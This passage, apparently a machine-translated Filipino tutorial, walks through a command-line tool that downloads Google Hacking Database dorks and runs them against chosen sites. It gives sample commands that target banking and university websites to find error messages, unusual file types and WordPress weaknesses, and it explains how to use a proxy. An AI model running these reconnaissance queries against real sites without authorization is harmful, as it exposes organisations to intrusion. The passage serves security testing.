    Timeout kung nakatagpo ng captcha
    -o "file"
    I-save ang resulta sa isang file (ang mga track lang kung saan may nakita ang mase-save)

    Gamit ang ghdb command, makukuha mo ang lahat ng dorks mula sa exploit-db sa pamamagitan ng arbitrary na kahilingan, o tukuyin ang buong kategorya. Kung tinukoy mo ang kategorya 0, ang buong database ay ilalabas (mga 4.5 libong dorks).

    Ang listahan ng mga kategorya na kasalukuyang magagamit ay ipinakita sa Figure 2.

    Figure 2 - Listahan ng mga available na kategorya ng dork ng GHDB

    Papalitan ng google team ang bawat dork sa google search engine at susuriin ang resulta para sa mga tugma. Ang mga path kung saan may nakita ay mase-save sa isang file.
    Sinusuportahan ng utility ang iba't ibang mga mode ng paghahanap:
    1 dork at 1 site;
    1 dork at maraming mga site;
    1 site at maraming dorks;
    maraming mga site at maraming dorks;
    Maaaring tukuyin ang listahan ng mga dorks at site sa pamamagitan ng argumento o sa pamamagitan ng file.

    Pagpapakita ng trabaho
    Subukan nating maghanap ng anumang mga kahinaan gamit ang halimbawa ng paghahanap ng mga mensahe ng error. Sa pamamagitan ng utos: dorks ghdb –c 7 –o errors.dorks lahat ng kilalang dorks ng kategoryang “Error Messages” ay ilo-load tulad ng ipinapakita sa Figure 3.


    Figure 3 – Nilo-load ang lahat ng kilalang dorks ng kategoryang “Mga Mensahe ng Error”.

    Ang mga Dorks ay dina-download at nai-save sa isang file. Ngayon ang natitira na lang ay "itakda" ang mga ito sa ilang site (tingnan ang Larawan 4).


    Figure 4 – Maghanap ng mga kahinaan ng site ng interes sa cache ng Google

    Pagkaraan ng ilang panahon, ilang pahina na naglalaman ng mga error ay natuklasan sa site na pinag-aaralan (tingnan ang Larawan 5).


    Figure 5 – Nakita ang mga mensahe ng error

    Bilang resulta, sa file result.txt nakakakuha kami ng kumpletong listahan ng mga dorks na humahantong sa error.
    Ipinapakita ng Figure 6 ang resulta ng paghahanap ng mga error sa site.

    Figure 6 – Error sa resulta ng paghahanap

    Sa cache para sa dork na ito, ang isang kumpletong backtrace ay ipinapakita, na nagpapakita ng ganap na mga landas ng mga script, ang sistema ng pamamahala ng nilalaman ng site at ang uri ng database (tingnan ang Larawan 7).


    Figure 7 – pagsisiwalat ng impormasyon tungkol sa disenyo ng site

    Gayunpaman, ito ay nagkakahalaga ng pagsasaalang-alang na hindi lahat ng dorks mula sa GHDB ay nagbibigay ng mga tunay na resulta. Gayundin, maaaring hindi makahanap ang Google ng eksaktong tugma at magpakita ng katulad na resulta.

    Sa kasong ito, mas matalinong gamitin ang iyong personal na listahan ng mga dorks. Halimbawa, palaging sulit na maghanap ng mga file na may "hindi pangkaraniwang" mga extension, ang mga halimbawa nito ay ipinapakita sa Figure 8.


    Figure 8 – Listahan ng mga extension ng file na hindi karaniwan para sa isang regular na mapagkukunan ng web

    Bilang resulta, gamit ang command dorks google –D extensions.txt –f bank, mula sa pinakaunang kahilingan ay sinimulan ng Google na ibalik ang mga site na may "hindi pangkaraniwang" mga extension ng file (tingnan ang Figure 9).


    Figure 9 – Maghanap ng mga “masamang” uri ng file sa mga website ng pagbabangko

    Dapat tandaan na hindi tumatanggap ang Google ng mga query na mas mahaba sa 32 salita.

    Gamit ang command dorks google –d intext:”error|warning|notice|syntax” –f university
    Maaari kang maghanap ng mga error sa PHP interpreter sa mga website na pang-edukasyon (tingnan ang Larawan 10).


    Figure 10 – Paghahanap ng PHP runtime error

    Minsan hindi maginhawang gumamit ng isa o dalawang kategorya ng mga dorks.
    Halimbawa, kung alam na ang site ay tumatakbo sa Wordpress engine, kailangan namin ng mga module na tukoy sa WordPress. Sa kasong ito, maginhawang gamitin ang paghahanap sa Google Hack Database. Ang command na dorks ghdb –q wordpress –o wordpress_dorks.txt ay magda-download ng lahat ng dorks mula sa Wordpress, tulad ng ipinapakita sa Figure 11:


    Figure 11 – Maghanap ng mga Dorks na may kaugnayan sa Wordpress

    Bumalik tayo muli sa mga bangko at gamitin ang command dorks google –D wordpress_dords.txt –f bank upang subukang maghanap ng isang bagay na kawili-wiling nauugnay sa Wordpress (tingnan ang Larawan 12).


    Figure 12 – Maghanap ng mga kahinaan sa Wordpress

    Kapansin-pansin na ang paghahanap sa Google Hack Database ay hindi tumatanggap ng mga salitang mas maikli sa 4 na character. Halimbawa, kung hindi kilala ang CMS ng site, ngunit kilala ang wika - PHP. Sa kasong ito, maaari mong i-filter kung ano ang kailangan mo nang manu-mano gamit ang pipe at ang system search utility dorks –c all | findstr /I php > php_dorks.txt (tingnan ang Larawan 13):


    Figure 13 – Hanapin ang lahat ng dorks kung saan binanggit ang PHP

    Ang paghahanap ng mga kahinaan o ilang sensitibong impormasyon sa isang search engine ay dapat lang gawin kung mayroong makabuluhang index sa site na ito. Halimbawa, kung ang isang site ay may 10-15 na pahina na na-index, kung gayon ay hangal na maghanap ng anuman sa ganitong paraan. Ang pagsuri sa laki ng index ay madali - ilagay lamang ang "site:somesite.com" sa Google search bar. Ang isang halimbawa ng isang site na may hindi sapat na index ay ipinapakita sa Figure 14.


    Figure 14 – Pagsusuri sa laki ng index ng site

    Ngayon tungkol sa hindi kanais-nais... Paminsan-minsan ay maaaring humiling ang Google ng captcha - wala kang magagawa tungkol dito - kakailanganin mong ipasok ito. Halimbawa, kapag naghahanap sa kategoryang "Mga Mensahe ng Error" (90 dorks), isang beses lang lumitaw ang captcha.

    Ito ay nagkakahalaga ng pagdaragdag na sinusuportahan din ng phantomjs ang pagtatrabaho sa pamamagitan ng isang proxy, kapwa sa pamamagitan ng http at interface ng medyas. Upang paganahin ang proxy mode, kailangan mong alisin sa komento ang katumbas na linya sa dorks.bat o dorks.sh.

    Ang tool ay magagamit bilang source code